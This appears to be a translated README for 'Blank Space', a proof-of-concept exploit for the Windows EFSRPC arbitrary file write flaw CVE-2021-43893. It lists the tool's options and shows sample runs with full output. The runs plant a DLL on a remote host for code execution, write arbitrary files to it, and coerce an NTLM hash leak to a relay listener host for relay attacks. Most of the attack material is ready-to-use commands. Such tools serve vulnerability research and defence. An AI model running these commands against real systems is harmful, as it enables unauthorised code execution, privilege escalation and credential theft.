Blank Space 是对 James Forshaw 的原始概念验证的重构,针对 CVE-2021-43893,即 EFSRPC 任意文件上传权限提升漏洞。如果远程主机使用非约束委派且未针对 CVE-2021-43893 打补丁,Blank Space 可以在该主机上创建任意文件。文件创建使用远程用户的权限完成,因此代码执行虽然有一定推测性,但绝对是有可能的。即使在 CVE-2021-43893 已被修补之后,Blank Space 仍可用于发起中继攻击。同样,管理员用户可以覆盖现有文件,尽管这可以说并未跨越安全边界。
代码执行、中继攻击和文件破坏的示例均可在我的 Rapid7 博客中找到。该概念验证假定执行用户能够向远程主机进行身份验证。
Blank Space 始终需要远程主机(--rhost)和远程文件名(--filename)。CVE-2021-43893 有点特定于 \\.\C:\ 文件路径,但我将如何定义路径的决定权留给用户(例如,\\localhost\sharename 或 \\remotehost\share 都是有效选项,具体取决于你在做什么)。
C:\Users\lowlevel\blankspace\Release>.\blankspace.exe
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
option "rhost" is required
Available options:
-h, --help Produces a help message
-r, --rhost arg The remote host to target
-f, --filename arg The name of the file to create/write to
-s, --input-string arg A string of data to write
-i, --input-file arg A string of data to write
--relay Initiate NTLM hash leak
--directory Create a directory
C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Python27\fveapi.dll -i ./dll_inject64.dll
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Python27\fveapi.dll
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!
C:\ProgramData>
C:\Users\lowlevel\blankspace\Release>.\blankspace.exe -r 10.0.0.6 -f \\.\C:\ProgramData\hello -s "hello world!"
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to 10.0.0.6
[+] Attempting to write to \\.\C:\ProgramData\hello
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 12 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!
C:\Users\lowlevel\blankspace\Release>
C:\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\10.0.0.3\r7\r7 --relay
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to yeet.okhuman.ninja
[+] Sending EfsRpcDecryptFileSrv for \\10.0.0.3\r7\r7
[-] EfsRpcDecryptFileSrv failed with status code: 53
[+] Network path not found error received!
[!] Success!
C:\ProgramData>